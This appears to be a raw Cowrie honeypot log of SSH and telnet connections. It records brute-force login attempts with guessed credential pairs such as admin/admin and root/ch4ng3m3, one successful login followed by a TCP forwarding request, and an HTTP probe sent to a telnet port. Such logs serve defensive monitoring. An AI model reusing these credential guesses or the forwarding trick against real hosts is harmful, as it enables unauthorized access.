{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:1a:b6:0f:35:13:1b:2e:99:8c:2a:5f:71:4c:a1:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCGFoKKL5aQe4A0ITy3v5QpVqy1Iz7RkGKDTymsfsdRS0gXta132MfCrcFCQEAd2nSodjg5SI2ntEzSMQu/qjP610DwRCyzgEtkUPZNIF3tnpAL2H8t/21D3Gpw2iQ+nZOZ5bugKCeTFKgYDgXbRfnkPHNADtAN7EqmknUAyLOglO1tE4Ypqjdn7dPRMeA7+J9QGokj3ZuHuElEnnWsORBV8AIZAl69T1JaROOdPu4LSfeG5kM+GKtX7w3wF2Rsz/xS8QjRDtAbYWfVEMfNHCFEKTfnKxw7qxKwkq4FP3muFrA09YflsucNMAUr4hXznGT0V8xkJQemsA8DvaK9xwGPcrUr/cFFFCEAb+waesia+BMUMHtZNTCaPdB8Ztpt+D3glqpOvD1GBy27Sv7XbamZeGzuvdvnPzHR+5w3cwd8qVbK4xWRyqvhibZJiFeLeAM1BcwHYCTmZGnOBNuIko3kH6tcsJzSxMRDXx/RINOM0WgoIkWHexBRpSnlbtaHWWcHs4ILdfpS2GCx7OOwMS0KaMD2ZuLI8ymxmPRToDtQ8M4qqtl2533xnpj5AtKuNvU5LaSp62sfqVVfrc1ZxM3M/DlScQn6LyLjvAHXM0FwCsB1g8hkRy/dSCrzf++225f8yNJlqPmj9jYhG/WY8PDFOrFAy3i7FtAQHGAoF1VOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:1a:b6:0f:35:13:1b:2e:99:8c:2a:5f:71:4c:a1:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.447864Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:1a:b6:0f:35:13:1b:2e:99:8c:2a:5f:71:4c:a1:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCGFoKKL5aQe4A0ITy3v5QpVqy1Iz7RkGKDTymsfsdRS0gXta132MfCrcFCQEAd2nSodjg5SI2ntEzSMQu/qjP610DwRCyzgEtkUPZNIF3tnpAL2H8t/21D3Gpw2iQ+nZOZ5bugKCeTFKgYDgXbRfnkPHNADtAN7EqmknUAyLOglO1tE4Ypqjdn7dPRMeA7+J9QGokj3ZuHuElEnnWsORBV8AIZAl69T1JaROOdPu4LSfeG5kM+GKtX7w3wF2Rsz/xS8QjRDtAbYWfVEMfNHCFEKTfnKxw7qxKwkq4FP3muFrA09YflsucNMAUr4hXznGT0V8xkJQemsA8DvaK9xwGPcrUr/cFFFCEAb+waesia+BMUMHtZNTCaPdB8Ztpt+D3glqpOvD1GBy27Sv7XbamZeGzuvdvnPzHR+5w3cwd8qVbK4xWRyqvhibZJiFeLeAM1BcwHYCTmZGnOBNuIko3kH6tcsJzSxMRDXx/RINOM0WgoIkWHexBRpSnlbtaHWWcHs4ILdfpS2GCx7OOwMS0KaMD2ZuLI8ymxmPRToDtQ8M4qqtl2533xnpj5AtKuNvU5LaSp62sfqVVfrc1ZxM3M/DlScQn6LyLjvAHXM0FwCsB1g8hkRy/dSCrzf++225f8yNJlqPmj9jYhG/WY8PDFOrFAy3i7FtAQHGAoF1VOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.452046Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:26:39:b0:b5:4b:24:e3:5f:e1:a3:ce:1f:5b:10:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQS8Cqyggr5A9Joi3hGg/rXGwitW0Mne/+X/xn1FdZtMSMYss7kRZm27urqKCYSPIxTfPUlTddLBlWUI2EdKQXHrUeHhyVtrcZHTGpTyNOdEshHOWe7z0m1U/L84xEuPRXCOUcL+6aIUWIKvBUNVJAkIoSm/eAc/ZutuBy64OiR7LhPQkhFeorwtyU406RuTSzI2UVd7O8z1NCtvKuAcfg+4Bd4FbrNObqT673g9Wh0/Iq2VW6WgC1VXwJ+q6igEqq/B9bqhl9otcuqlfCMLfhIhuqCvQMklzNI1ddjgAVo2VfQPMFC0ltILB45XTCxDXOKnwP+CkbobSlds/0T+5tf6qT7M+q+Ev1W1ujkwo3AwZ28RkrHgRQRDxN1P/SnI+j+E1iM0aE4aUPm9NyBwPngznmpwiUf0NwZ12EyIfCwNv8XSLtDqfIdsW8Nnppl1uupv1oxuZYLxg/W6+MAkP0fuHehK154r3/FOYLa9tKU2FoIWWutAD4Jglg80WBjJM2u+t0jB795+MEkOAz0X1uFgzKHKEhXQgjpl3NFKDhbZXADhLY0TYW1F6PCyPb1oZuTEsFtKWPV8wMRpJ483SIMEHZ33s/znbZ58GGpISq9Fge+iC6uSj7AYde1XarW94k1x3qf5Fop+sJo3gYpVARJfOf7rpBNOd6vVXG6nzraw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:26:39:b0:b5:4b:24:e3:5f:e1:a3:ce:1f:5b:10:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.604018Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:26:39:b0:b5:4b:24:e3:5f:e1:a3:ce:1f:5b:10:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQS8Cqyggr5A9Joi3hGg/rXGwitW0Mne/+X/xn1FdZtMSMYss7kRZm27urqKCYSPIxTfPUlTddLBlWUI2EdKQXHrUeHhyVtrcZHTGpTyNOdEshHOWe7z0m1U/L84xEuPRXCOUcL+6aIUWIKvBUNVJAkIoSm/eAc/ZutuBy64OiR7LhPQkhFeorwtyU406RuTSzI2UVd7O8z1NCtvKuAcfg+4Bd4FbrNObqT673g9Wh0/Iq2VW6WgC1VXwJ+q6igEqq/B9bqhl9otcuqlfCMLfhIhuqCvQMklzNI1ddjgAVo2VfQPMFC0ltILB45XTCxDXOKnwP+CkbobSlds/0T+5tf6qT7M+q+Ev1W1ujkwo3AwZ28RkrHgRQRDxN1P/SnI+j+E1iM0aE4aUPm9NyBwPngznmpwiUf0NwZ12EyIfCwNv8XSLtDqfIdsW8Nnppl1uupv1oxuZYLxg/W6+MAkP0fuHehK154r3/FOYLa9tKU2FoIWWutAD4Jglg80WBjJM2u+t0jB795+MEkOAz0X1uFgzKHKEhXQgjpl3NFKDhbZXADhLY0TYW1F6PCyPb1oZuTEsFtKWPV8wMRpJ483SIMEHZ33s/znbZ58GGpISq9Fge+iC6uSj7AYde1XarW94k1x3qf5Fop+sJo3gYpVARJfOf7rpBNOd6vVXG6nzraw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.606619Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:d5:f4:2b:37:f1:b6:1a:c0:63:b6:7d:b6:d4:2a:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINy/j43MhrhOaKqsbTf017DqGguehDhmcqMgcBEGzKME","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 51:d5:f4:2b:37:f1:b6:1a:c0:63:b6:7d:b6:d4:2a:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.756213Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:d5:f4:2b:37:f1:b6:1a:c0:63:b6:7d:b6:d4:2a:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINy/j43MhrhOaKqsbTf017DqGguehDhmcqMgcBEGzKME","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.759725Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.907845Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":41366,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7e30523b290","protocol":"ssh","message":"New connection: 138.99.80.102:41366 (159.203.135.109:22) [session: d7e30523b290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:35.482749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:35.486874Z","src_ip":"138.99.80.102","session":"d7e30523b290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:35.593195Z","src_ip":"138.99.80.102","session":"d7e30523b290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:36.051269Z","src_ip":"138.99.80.102","session":"d7e30523b290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:37.160345Z","src_ip":"138.99.80.102","session":"d7e30523b290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30210,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c1b43e6802","protocol":"ssh","message":"New connection: 87.251.64.176:30210 (10.17.0.5:22) [session: 88c1b43e6802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:49.575777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:49.580971Z","src_ip":"87.251.64.176","session":"88c1b43e6802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:49.680249Z","src_ip":"87.251.64.176","session":"88c1b43e6802","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:49.972024Z","src_ip":"87.251.64.176","session":"88c1b43e6802","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:50.070241Z","session":"88c1b43e6802","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:50.167421Z","src_ip":"87.251.64.176","session":"88c1b43e6802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:50.266887Z","src_ip":"87.251.64.176","session":"88c1b43e6802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":58242,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ec34ba8d4f","protocol":"ssh","message":"New connection: 198.98.62.211:58242 (159.203.135.109:22) [session: a3ec34ba8d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:52.174170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:52.178909Z","src_ip":"198.98.62.211","session":"a3ec34ba8d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:52.183611Z","src_ip":"198.98.62.211","session":"a3ec34ba8d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456RTYfghVBN","message":"login attempt [root/456RTYfghVBN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:52.234354Z","src_ip":"198.98.62.211","session":"a3ec34ba8d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:53.241997Z","src_ip":"198.98.62.211","session":"a3ec34ba8d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":61032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b386744b6f8","protocol":"telnet","message":"New connection: 34.140.181.131:61032 (10.17.0.5:23) [session: 4b386744b6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:56.966377Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":61040,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6e39ff1584","protocol":"telnet","message":"New connection: 34.140.181.131:61040 (10.17.0.5:23) [session: bf6e39ff1584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:57.130816Z"}
{"eventid":"cowrie.session.closed","duration":0.005795001983642578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:57.136454Z","src_ip":"34.140.181.131","session":"bf6e39ff1584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":61050,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ce4358f5a4","protocol":"telnet","message":"New connection: 34.140.181.131:61050 (10.17.0.5:23) [session: 33ce4358f5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:57.287769Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":57684,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbe27357ba9f","protocol":"ssh","message":"New connection: 46.165.56.242:57684 (159.203.135.109:22) [session: bbe27357ba9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:00.308172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:00.312436Z","src_ip":"46.165.56.242","session":"bbe27357ba9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:00.464674Z","src_ip":"46.165.56.242","session":"bbe27357ba9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ch4ng3m3","message":"login attempt [root/ch4ng3m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:01.123759Z","src_ip":"46.165.56.242","session":"bbe27357ba9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:02.279425Z","src_ip":"46.165.56.242","session":"bbe27357ba9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.94313406944275,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:15.909391Z","src_ip":"34.140.181.131","session":"4b386744b6f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1578,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6bb9190bd90","protocol":"telnet","message":"New connection: 34.140.181.131:1578 (10.17.0.5:23) [session: f6bb9190bd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.444389Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.453960Z","src_ip":"34.140.181.131","session":"f6bb9190bd90","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.458459Z","src_ip":"34.140.181.131","session":"f6bb9190bd90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09364080429077148,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.537900Z","src_ip":"34.140.181.131","session":"f6bb9190bd90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1594,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f274b5effd","protocol":"telnet","message":"New connection: 34.140.181.131:1594 (10.17.0.5:23) [session: d9f274b5effd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.613657Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1606,"dst_ip":"10.17.0.5","dst_port":23,"session":"03dc61d48b1e","protocol":"telnet","message":"New connection: 34.140.181.131:1606 (10.17.0.5:23) [session: 03dc61d48b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.768938Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1616,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fcc685a3e52","protocol":"telnet","message":"New connection: 34.140.181.131:1616 (10.17.0.5:23) [session: 3fcc685a3e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:16.924354Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1624,"dst_ip":"10.17.0.5","dst_port":23,"session":"d57462164ee7","protocol":"telnet","message":"New connection: 34.140.181.131:1624 (10.17.0.5:23) [session: d57462164ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:17.080715Z"}
